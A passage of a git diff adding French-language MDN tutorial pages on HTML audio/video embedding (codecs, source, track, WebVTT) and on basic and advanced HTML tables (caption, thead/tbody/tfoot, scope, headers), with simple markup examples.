  • Un conteneur MP4 assemble de l'audio AAC ou MP3 en audio avec de la vidéo H.264. Internet Explorer et Safari, principalement, le prennent en charge.
    • +
  • L'ancien conteneur Ogg rassemblait de l'audio Ogg Vorbis et de la vidéo Ogg Theora. Il était essentiellement pris en charge par Firefox and Chrome, mais il a été supplanté par le format WebM qui est de meilleure qualité.
    • +
+ +

Un lecteur audio peut jouer directement une piste audio, par ex. un fichier MP3 ou Ogg. Elles ne nécessitent pas de conteneur.

+ +
+

Note : Ce n'est pas si simple, comme vous pouvez le voir dans le tableau de compatibilité des codecs audio-vidéo. En outre, de nombreux navigateurs de plateforme mobile peuvent lire un format non pris en charge en le transférant au lecteur multimédia du système sous-jacent. Mais pour l'instant nous nous contenterons de ce qui précède.

+
+ +

Les formats ci-dessus ont été créés pour compresser la vidéo et l'audio dans des fichiers gérables (les fichiers vidéo et audio bruts sont très volumineux). Les navigateurs contiennent différents {{Glossary("Codec","Codecs")}}, comme Vorbis ou H.264, utilisés pour convertir le son et la vidéo compressés en binaire et inversement. Comme indiqué ci-dessus, les navigateurs ne supportent malheureusement pas tous les mêmes codecs, vous devrez donc fournir plusieurs fichiers pour chaque production de média. S'il vous manque le bon codec pour décoder le média, il ne pourra pas être lu.

+ +

 

+ +
+

Note : Vous êtes peut-être surpris de l'existence d'une telle situation. Les formats MP3 (pour l'audio) et MP4/H.264 (pour la vidéo) sont tous deux largement pris en charge et de bonne qualité. Cependant, ils sont également grevés de brevets — les brevets américains couvrent le MP3 jusqu'en 2017 au moins et le H.264 jusqu'en 2027 au plus tôt, ce qui signifie que les navigateurs ne détenant pas de licence doivent payer d'énormes sommes d'argent pour pouvoir utiliser ces formats. En outre, beaucoup de personnes évitent, par principe, les logiciels propriétaires et leur préférent des formats ouverts. C'est pourquoi nous devons fournir plusieurs formats pour une prise en charge par différents navigateurs.

+ +

 

+
+ +

Alors, comment faire ? Jetez un coup d'œil à l'exemple qui suit, mis à jour, (essayez-le directement ici aussi) :

+ +
<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien sur la vidéo</a>.</p>
+</video>
+ +

Ici, nous avons retiré l'attribut src de la balise <video> et inclus des éléments {{htmlelement("source")}} séparés qui pointent vers des sources appropriées. Dans ce cas, le navigateur parcourra les éléments <source> et jouera le premier dont il peut prendre en charge le codec. Inclure des sources WebM et MP4 devraient suffire pour lire votre vidéo sur la plupart des plateformes et navigateurs de nos jours.

+ +

Chaque élément <source> possède également un attribut de type. C'est facultatif, mais il est conseillé de les inclure — ils contiennent le type {{glossary("MIME type","MIME")}} des fichiers vidéo, et les navigateurs peuvent le lire et sauter immédiatement les vidéos qu'ils ne comprennent pas. Si le type n'est pas indiqué, le navigateur va charger et essayer de lire chaque fichier jusqu'à ce qu'il en trouve un qu'il prenne en charge, ce qui demande du temps et des ressources.

+ +

 

+ +
+

Note : L'article sur les formats média pris en charge contient quelques types {{glossary("MIME type","MIME")}} courants.

+
+ +

Autres fonctionnalités de <video>

+ +

Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple :

+ +
<video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png">
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p>
+</video>
+
+ +

Cela produit une sortie du type suivant :

+ +

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!

+ +

Voici les nouvelles fonctionnalités :

+ +
+
{{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}}
+
Il est possible de contrôler la taille de la vidéo soit avec ces attributs, soit avec le {{Glossary("CSS")}}. Dans les deux cas, les vidéos conservent le rapport largeur‑hauteur natif — désigné sous le vocable rapport de proportions. Si ce dernier ne correspond pas aux tailles indiquées, la vidéo occupera tout l'espace horizontal et l'espace non rempli sera de la couleur d'arrière plan unie par défaut.
+
{{htmlattrxref("autoplay","video")}}
+
Cet attribut permet de lancer immédiatement la lecture de l'audio ou de la vidéo pendant que le reste de la page se charge. Nous vous déconseillons d'utiliser la lecture automatique de vidéos (ou audio) sur vos sites, car les utilisateurs peuvent trouver cela vraiment ennuyeux.
+
{{htmlattrxref("loop","video")}}
+
Cet attribut permet de relancer en boucle la lecture de la vidéo (ou de l'audio). Cette façon de procéder pouvant être mal perçue, ne l'utilisez que si c'est vraiment nécessaire.
+
{{htmlattrxref("muted","video")}}
+
Cet attribut coupe le son de la vidéo par défaut.
+
{{htmlattrxref("poster","video")}}
+
Cet attribut prend comme valeur l'URL d'une image affichée avant la lecture de la vidéo. Il s'utilise en tant que logo de démarrage ou de publicité.
+
{{htmlattrxref("preload","video")}}
+
+

Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs :

+ +
    +
  • "none" : ne pas mettre le fichier dans un tampon
    • +
  • "auto" : mettre le fichier média dans un tampon
    • +
  • "metadata" : ne mettre que les métadonnées dans le tampon
    • +
+
+
+ +

Vous trouverez cet exemple prêt pour l'interprétation sur Github ( voir aussi le  code source). Notez que nous n'avons pas inséré l'attribut autoplay dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster !

+ +

L'élément  <audio>

+ +

L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci :

+ +
<audio controls>
+  <source src="viper.mp3" type="audio/mp3">
+  <source src="viper.ogg" type="audio/ogg">
+  <p>Votre navigateur ne prend pas en charge l'audio HTML5. Voici, à la place, un <a href="viper.mp3">lien sur l'audio</a>.</p>
+</audio>
+ +

Vous verrez quelque chose de ce genre dans un navigateur :

+ +

A simple audio player with a play button, timer, volume control, and progress bar

+ +
+

Note: Vous pouver lancer la démo de l'audio en direct sur Github (voir aussi le code source de l'interpréteur.)

+
+ +

Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 :

+ +
    +
  • L'élément {{htmlelement("audio")}} ne prend pas en charge les attributs width/height — redisons‑le, il n'y a pas de composant visuel, il n'y donc pas lieu d'assigner une largeur ou une hauteur.
    • +
  • Il ne prend pas en charge non plus l'attribut poster — toujours pas de composant visuel.
    • +
+ +

Excepté ce qui précéde, <audio> accepte les mêmes fonctionnalités que <video> — revoyez les sections ci-desssus pour plus d'informations à ce propos.

+ +

Afficher du texte dans une vidéo

+ +

Nous allons maintenant parler d'un concept un peu plus avancé vraiment utile à connaître. Beaucoup de gens ne peuvent pas ou ne veulent pas entendre le contenu audio/vidéo qu'ils trouvent sur le Web, du moins à certains moments. Par exemple :

+ +
    +
  • De nombreuses personnes sont mal‑entendantes (dures d'oreille ou sourdes), et ne peuvent donc pas entendre le son.
    • +
  • D'autres ne veulent pas de son, soit parce qu'ils sont dans un environnement bruyant (comme un bar avec une foule pendant une retransmission de compétition sportive) et ne peuvent donc pas entendre, soit parce qu'ils sont dans un environnement silencieux (comme une bibliothèque) et ne veulent donc pas déranger.
    • +
  • Des personnes qui ne parlent pas la langue d'une vidéo peuvent souhaiter un sous‑titrage ou une traduction pour les aider à comprendre le contenu du média.
    • +
+ +

Ne serait-il pas agréable de pouvoir fournir à ces personnes la transcription des paroles prononcés dans l'audio ou la vidéo ? Eh bien, avec des vidéos HTML5 vous le pouvez, à l'aide du format WebVTT et de l'élément {{htmlelement("track")}}.

+ +
+

Note : « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante.

+
+ +

WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant :

+ +
+
les sous‑titres (subtitles)
+
Traductions d'éléments d'une langue étrangère pour les personnes ne comprenant pas les paroles de l'audio.
+
les légendes (captions) 
+
Transcriptions synchrones de dialogues ou de descriptions de sons significatifs, pour permettre aux personnes ne pouvant entendre le son de comprendre ce qui se passe.
+
les descriptions programmées (descriptions) 
+
Textes convertis en audio, pour aider les personnes avec des défauts de vision.
+
+ +

Un fichier WebVTT typique ressemblera à :

+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+Ceci est le premier sous‑titre.
+
+2
+00:00:30.739 --> 00:00:34.074
+Ceci est le deuxième.
+
+  ...
+
+ +

Pour qu'il soit affiché avec la diffusion du média HTML, il faut :

+ +
    +
  1. Enregistrer le fichier avec l'extension .vtt dans un endroit sensé.
    2. +
  2. Lier le fichier .vtt avec l'élément {{htmlelement("track")}}. <track> doit être placé entre les balises <audio> ou <video>, mais après tous les éléments <source>. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont  subtitles, captions ou descriptions. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres.
    3. +
+ +

Voici un exemple :

+ +
<video controls>
+    <source src="example.mp4" type="video/mp4">
+    <source src="example.webm" type="video/webm">
+    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
+</video>
+ +

Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci :

+ +

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

+ +

Pour plus de détails, lisez Ajouter des légendes et des sous‑titres aux vidéos HTML5. Vous trouverez un exemple, écrit par Ian Devlin, accompagnant cet article sur Github (voyez le code source aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. 

+ +
+

Note : Les pistes texte peuvent aussi vous aider avec {{glossary("SEO")}}, car les moteurs de recherche sont très performants sur le texte. Les pistes textes permettent aussi aux moteurs de recherche de faire un lien direct à un point particulier de la vidéo.

+
+ +

Apprentissage interactif : intégrer vos propres vidéos et audios

+ +

Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo,  MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme Miro Video Converter et Audacity. Nous aimerions que vous essayiez !

+ +

Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos  échantillons audio et vidéo pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence.

+ +

Il vous faudra :

+ +
    +
  1. Préserver vos fichiers audio et vidéo dans un nouveau dossier sur votre ordinateur.
    2. +
  2. Créer un nouveau fichier HTML dans le même répertoire nommé :  index.html.
    3. +
  3. Ajouter des éléments  <audio> et  <video> dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur.
    4. +
  4. Leur attribuer (aux deux) des éléments <source> que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs  type.
    5. +
  5. Donner à l'élément <video> une image qui sera affichée avant que la vidéo ne démarre. Amusez-vous à créer votre propre visuel de l'affiche.
    6. +
+ +

En bonus, vous pouvez chercher des textes à intégrer et ajouter des légendes à vos vidéos.

+ +

Résumé

+ +

Emballez, c'est pesé ! Nous espérons que vous avez pris plaisir avec ces pages vidéo et audio. Au chapitre suivant, nous découvrirons des manières différentes d'intégrer du contenu sur le Web en se servant de technologies comme {{htmlelement("iframe")}} et {{htmlelement("object")}}.

+ +

Consultez aussi :

+ + + +

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

+ +

 

+ +

Contenu du module :

+ + + +

 

+ +
+
+ +
    +
diff --git a/files/fr/learn/html/tables/advanced/index.html b/files/fr/learn/html/tables/advanced/index.html new file mode 100644 index 0000000000..30815fb4ec --- /dev/null +++ b/files/fr/learn/html/tables/advanced/index.html @@ -0,0 +1,479 @@ +--- +title: 'Tableaux HTML : dispositions avancées et accessibilité' +slug: Apprendre/HTML/Tableaux/Advanced +tags: + - Accessibilité + - Apprentissage + - Article + - Avancés + - Codage + - Débutant + - En-têtes + - HTML + - Imbrication + - Portée + - Tableaux + - caption + - resume + - tbody + - tfoot + - thead +translation_of: Learn/HTML/Tables/Advanced +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
+ +

Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants.

+ + + + + + + + + + + + +
Prérequis :Les bases de HTML (voir Introduction au HTML).
Objectif :En apprendre plus sur les fonctionnalités HTML plus avancées et l'accessibilité aux tableaux.
+ +

Ajouter un titre aux tableaux avec <caption>

+ +

Vous pouvez intituler un tableau en mettant son titre dans un élément {{htmlelement("caption")}} et en englobant le tout dans un élément {{htmlelement("table")}}. Mettez le titre juste après la balise ouvrante <table>.

+ +
<table>
+  <caption>Dinosaures dans le Jurassique</caption>
+
+  ...
+</table>
+ +

Comme vous pouvez le voir sur le bref exemple ci-dessus, le titre consiste en une description synthétique du contenu du tableau. C'est utile pour tous les lecteurs qui souhaitent savoir rapidement si le tableau peut leur être utile, sans avoir à parcourir tout le contenu, en particulier s'ils sont malvoyants. Plutôt que de faire lire au lecteur d'écran de nombreuses cellules pour savoir sur quoi porte le tableau, il ou elle peut se fier au titre, puis décider de lire ou non le tableau dans le détail.

+ +

Le titre est placé directement sous la balise <table>.

+ +
+

Note : L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément <table> pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément <caption>,  car summary est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTLM5, et ne peut être lu par l'utilisateur courant  (il n'apparaît pas dans la page).

+
+ +

Apprentissage actif : Ajouter un titre

+ +

Essayons en revisitant un exemple rencontré dans l'article précédent.

+ +
    +
  1. Ouvrez le planning du professeur de langue de la fin de Tableaux HTML : notions de base ou faites une copie locale du fichier timetable-fixed.html.
    2. +
  2. Ajoutez un titre approprié pour le tableau.
    3. +
  3. Enregistrez votre code et ouvrez-le dans un navigateur pour voir à quoi il ressemble.
    4. +
+ +
+

Note: Vous pouvez trouver notre version sur GitHub — voir timetable-caption.html (voir aussi directement).

+
+ +

Ajout d'une structure avec <thead>, <tfoot>, et <tbody>

+ +

Comme vos tableaux deviennent un peu plus structurellement complexes, il est utile d'en améliorer la définition. Une façon claire d'y parvenir consiste à utiliser les éléments {{htmlelement("thead")}}, {{htmlelement("tfoot")}} et {{htmlelement("tbody")}}, qui vous permettent de marquer l'en-tête, le pied et le corps du tableau.

+ +

Ces éléments ne rendent pas le tableau plus accessible aux utilisateurs de lecteurs d'écran, et n'entraînent aucune amélioration visuelle par eux-mêmes. Ils sont cependant très utiles pour la présentation et la mise en page — agissant comme des accroches pour l'ajout des CSS. Pour vous donner quelques exemples intéressants, dans le cas d'un grand tableau, vous pouvez répéter l'en-tête et le pied de page sur chaque page imprimée ; vous pouvez prévoir l'affichage du corps sur une seule page et accéder au contenu par défilement vers le haut ou vers le bas.

+ +

Pour les utiliser :

+ +
    +
  • L'élément <thead> doit couvrir la partie du tableau qui est l'en-tête — ce sera en général la première ligne contenant les en-têtes de colonnes, mais pas toujours. Dans le code, si vous utilisez les éléments  {{htmlelement("col")}}/{{htmlelement("colgroup")}}, l'en-tête du tableau devrait venir juste en-dessous de ceux-ci.
    • +
  • L'élément <tfoot> doit envelopper la partie du tableau qui est le pied de page — ce peut être une dernière ligne contenant, par exemple, la somme des rangées précédentes. Vous pouvez inclure l'élément <tfoot>  à la suite du code contenant le corps du tableau, là où vous souhaitez le trouver, ou juste en-dessous de l'élément <thead> (le navigateur l'affichera toujours en pied de tableau).
    • +
  • L'élément <tbody>  doit couvrir toutes les parties du tableau non contenues dans un <thead> ou un <tfoot>. Il pourra apparaître dans le code, sous la déclaration de l'en-tête ou du pied de page, selon la façon dont vous avez décidé de le structurer (voir les notes ci‑dessus).
    • +
+ +
+

Note : <tbody> est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément <tbody> et regardez le code HTML dans les outils de développement de votre navigateur — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi  vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau.

+
+ +

Apprentissage actif : Ajout d'une structure au tableau

+ +

Mettons en œuvre ces nouveaux éléments.

+ +
    +
  1. D'abord, faites une copie locale des fichiers spending-record.html et minimal-table.css dans un nouveau dossier.
    2. +
  2. Essayez de les ouvrir dans un navigateur — vous verrez que cela paraît correct, mais gagnerait à être amélioré. La ligne "SUM" qui contient les totaux des montants dépensés semble être au mauvais endroit et il manque certains détails du code.
    3. +
  3. Mettez la ligne d'en-têtes en évidence avec l'élément <thead> , la ligne des totaux ("SUM") dans un <tfoot>, et le reste du contenu dans un <tbody>.
    4. +
  4. Enregistrez et actualisez, et vous verrez que l'ajout de l'élément <tfoot> a renvoyé la ligne "SUM" en bas du tableau.
    5. +
  5. Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}}  pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ».
    6. +
  6. Ajoutons un style supplémentaire au tableau, pour vous donner une idée de l'utilité de ces éléments pour l'application des CSS. Dans le <head> du document HTML, vous pouvez voir un élément {{htmlelement("style")}} vide, ajoutez les lignes suivantes de code CSS : + 
    tbody {
+  font-size: 90%;
+  font-style: italic;
+}
+
+tfoot {
+  font-weight: bold;
+}
+
    +
    7. +
  7. Enregistrez, actualisez et regardez le résultat. Si <tbody> et <tfoot> n'étaient pas en place, vous devriez écrire plus de commandes plus complexes (sélection/règles) pour l'application des mêmes styles.
    8. +
+ +
+

Note : Nous ne nous attendons pas à ce que vous compreniez les CSS maintenant. Vous en apprendrez plus avec les modules à propos des CSS (Introduction aux CSS est un bon moyen de commencer ; il y a aussi un article spécifique sur l'esthétique des tables).

+
+ +

Le code de votre tableau fini devrait ressembler à quelque chose comme :

+ + + +

{{ EmbedLiveSample('Hidden_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

+ +
+

Note : Vous pouvez aussi le trouver sur Github  spending-record-finished.html (voir aussi le résultat directement).

+
+ +

Tableaux imbriqués

+ +

Il est possible d'inclure un tableau dans un autre, à condition d'en spécifier la structure complète, y compris l'élément <table>. Ce n'est généralement pas vraiment conseillé, car cette opération rend le balisage plus confus et moins accessible pour les utilisateurs de lecteurs d'écran, alors que dans de nombreux cas, il suffit d'insérer des cellules/lignes/colonnes supplémentaires dans un tableau existant. Mais il est parfois nécessaire de le faire, quand par exemple vous souhaitez importer facilement des données provenant d'autres sources.

+ +

Le balisage suivant montre un tableau simple imbriqué :

+ +
<table id="table1">
+  <tr>
+    <th>title1</th>
+    <th>title2</th>
+    <th>title3</th>
+  </tr>
+  <tr>
+    <td id="nested">
+      <table id="table2">
+        <tr>
+          <td>cell1</td>
+          <td>cell2</td>
+          <td>cell3</td>
+        </tr>
+      </table>
+    </td>
+    <td>cell2</td>
+    <td>cell3</td>
+  </tr>
+  <tr>
+    <td>cell4</td>
+    <td>cell5</td>
+    <td>cell6</td>
+  </tr>
+</table>
+ +

Voici la sortie qui en résulte :

+ + + + + + + + + + + + + + + + + + + +
title1title2title3
+ + + + + + + + +
cell1cell2cell3
+ 		cell2cell3
cell4cell5cell6
+ +

Tableaux pour utilisateurs malvoyants

+ +

Rappelons brièvement comment nous utilisons les tableaux de données. Un tableau peut être un outil pratique pour accéder rapidement à une donnée et rechercher différentes valeurs. Par exemple, un bref coup d'oeil sur le tableau suivant suffit pour savoir combien de bagues ont été vendues à Gand en août dernier. Pour comprendre ces informations, nous faisons visuellement l'association entre les données du tableau et les en-têtes de colonnes et/ou de lignes.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Articles vendus Août 2016
  VêtementsAccessoires
  PantalonsJupesRobesBraceletsBagues
BelgiqueAnvers5622437223
Gand4618506115
Bruxelles5127386928
Pays-basAmsterdam8934698538
Utrecht8012433619
+ +

Mais que faire si vous ne pouvez pas créer ces associations visuelles ? Comment pouvez-vous lire un tableau comme celui ci-dessus ? Les personnes malvoyantes utilisent souvent un lecteur d'écran qui leur lit les informations des pages web. Ce n'est pas un problème quand vous lisez du texte brut, mais l'interprêtation d'un tableau peut constituer un défi pour une personne aveugle. Néanmoins, avec le balisage approprié, nous pouvons remplacer des associations visuelles par des associations programmées.

+ +
+

Note : Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les  données de l'OMS en 2017.

+
+ +

Cette partie de l'article indique des techniques avancées pour rendre les tableaux les plus accessibles possible.

+ +

Utilisation des en-têtes de colonnes et de lignes

+ +

Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes.  La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants.

+ +

Nous avons déjà traité des en-têtes dans notre article précédent — voir Ajouter des en-têtes avec <th> .

+ +

L'attribut scope

+ +

Aux balises <th>, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément <th> pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi :

+ +
<thead>
+  <tr>
+    <th scope="col">Achats</th>
+    <th scope="col">Ou ?</th>
+    <th scope="col">Date</th>
+    <th scope="col">Avis</th>
+    <th scope="col">Coût (€)</th>
+  </tr>
+</thead>
+ +

Et chaque ligne pourrait également avoir une définition de son en-tête comme ceci (à condition d'avoir ajouté des en-têtes de lignes comme des en-têtes de colonnes):

+ +
<tr>
+  <th scope="row">Coupe de cheveux</th>
+  <td>Coiffeur</td>
+  <td>12/09</td>
+  <td>Bonne idée</td>
+  <td>30</td>
+</tr>
+ +

Les lecteurs d'écran reconnaîtront un balisage structuré comme celui-ci et permettront à leurs utilisateurs de lire en une fois une colonne ou une ligne entière par exemple.

+ +

scope a deux autres valeurs possibles — colgroup et rowgroup. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules  « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (<th>), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut  scope="colgroup", alors que les autres doivent recevront un attribut scope="col".

+ +

Les attributs id et headers

+ +

Une alternative à l'usage de l'attribut scope est l'utilisation des attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers", "td")}} pour créer une association entre en-têtes et cellules. Ils sont utilisés de la manière suivante :

+ +
    +
  1. Vous ajoutez un identifiant unique id à chaque élément <th>.
    2. +
  2. Vous ajoutez un attribut headers à chaque élément  <td> . Chaque attribut headers doit contenir une liste des id de tous les éléments <th> qu'il contient, séparés par des espaces.
    3. +
+ +

Votre tableau HTML possède donc la position explicite de chaque cellule dans le tableau, définie par les en-têtes de chaque colonne et chaque ligne qui en font partie, un peu comme dans une feuille de calcul. Pour un bon fonctionnement, le tableau a réellement besoin d'en-têtes de colonnes et de lignes.

+ +

En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi :

+ +
<thead>
+  <tr>
+    <th id="purchase">Achats</th>
+    <th id="location">Où ?</th>
+    <th id="date">Date</th>
+    <th id="evaluation">Avis</th>
+    <th id="cost">Coût (€)</th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+  <th id="haircut">Coupe de cheveux</th>
+  <td headers="location haircut">Coiffeur</td>
+  <td headers="date haircut">12/09</td>
+  <td headers="evaluation haircut">Bonne idée</td>
+  <td headers="cost haircut">30</td>
+</tr>
+
+  ...
+
+</tbody>
+ +
+

Note: Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise beaucoup plus de balisage et ne laisse aucune marge d'erreur.  L'approche scope est généralement suffisante pour la plupart des tableaux.

+
+ +

Apprentissage actif : jouer avec scope et headers

+ +
    +
  1. Pour cet exercice final, nous aimerions que vous fassiez une copie locale de items‑sold.html et minimal-table.css, dans un nouveau répertoire.
    2. +
  2. Maintenant essayez d'ajouter un attribut scope approprié pour améliorer ce tableau.
    3. +
  3. Enfin, essayez avec une autre copie du fichier initial, de faire un tableau plus accessible en utilisant les attributs id et headers.
    4. +
+ +
+

Note : Vous pouvez contrôler votre travail en le comparant à nos exemples finis  — voir items-sold-scope.html (voir aussi directement)
+          et items-sold-headers.html (voir aussi directement).

+
+ +

Résumé

+ +

Il reste encore quelques autres choses à apprendre sur les tableaux HTML, mais nous vous avons vraiment indiqué tout ce qu'il est nécessaire de savoir pour le moment. À ce stade, vous voulez peut-être en apprendre plus sur les styles de tableaux HTML — voyez alors Décor des tableaux.

+ +
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
+ +
+
+

Dans ce module

+ + +
+
diff --git a/files/fr/learn/html/tables/basics/index.html b/files/fr/learn/html/tables/basics/index.html new file mode 100644 index 0000000000..b218a2b677 --- /dev/null +++ b/files/fr/learn/html/tables/basics/index.html @@ -0,0 +1,579 @@ +--- +title: 'Tableaux HTML : notions de base' +slug: Apprendre/HTML/Tableaux/Basics +tags: + - Apprentissage + - Article + - Bases + - Codage + - Débutant + - En-têtes + - HTML + - Tableaux + - cellule + - col + - colgroup + - colspan + - rangées + - rowspan +translation_of: Learn/HTML/Tables/Basics +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
+ +
+
+
Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, les cellules, les en-têtes, les cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.
+
+
+ +
+
+ + + + + + + + + + + + +
Prérequis :Les bases de HTML (voir Introduction au HTML).
Objectif :Se familiariser avec les tableaux HTML.
+ +

Qu'est-ce qu'un tableau ?

+ +

Un tableau est un ensemble structuré de données (table de données) présentées en lignes et colonnes. Un tableau vous permet de retrouver rapidement et facilement des valeurs au croisement entre différents types de données, par exemple : une personne et son âge, ou un jour et la semaine, ou les horaires d'ouverture de la piscine du quartier.

+ +

A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47.

+ +

A swimming timetable showing a sample data table

+ +

Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 :

+ +

A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.

+ +

Il n'est donc pas étonnant que les créateurs du HTML fournissent un moyen de structurer et de présenter des tableaux de données sur le Web .

+ +

Comment fonctionne un tableau ?

+ +

L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par  des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Données sur les planètes du système solaire (repris de Nasa's Planetary Fact Sheet - Metric).
NomMasse (1024kg)Diamètre (km)Densité (kg/m3)Gravité (m/s2)Durée du jour (hours)Distance du Soleil (106km)Température moyenne (°C)Nombre de lunesNotes
Planètes telluriquesMercure0.3304,87954273.74222.657.91670La plus proche du Soleil
Venus4.8712,10452438.92802.0108.24640
Terre5.9712,75655149.824.0149.6151Notre monde
Mars0.6426,79239333.724.7227.9-652La planète rouge
Planètes joviennesGéantes gazeusesJupiter1898142,984132623.19.9778.6-11067La plus grosse planète
Saturne568120,5366879.010.71433.5-14062
Géantes glacéesUranus86.851,11812718.717.22872.5-19527
Neptune10249,528163811.016.14495.1-20014
Planètes nainesPluton0.01462,37020950.7153.35906.4-2255Déclassée en tant que planète en 2006 mais décision controverséee.
+ +

Lorsque cela est fait correctement, même les personnes malvoyantes peuvent interpréter des données tabulaires dans un tableau HTML — un tableau HTML réussi doit permettre la perception des données à des utilisateurs déficients visuels ou malvoyants.

+ +

Style de tableau

+ +

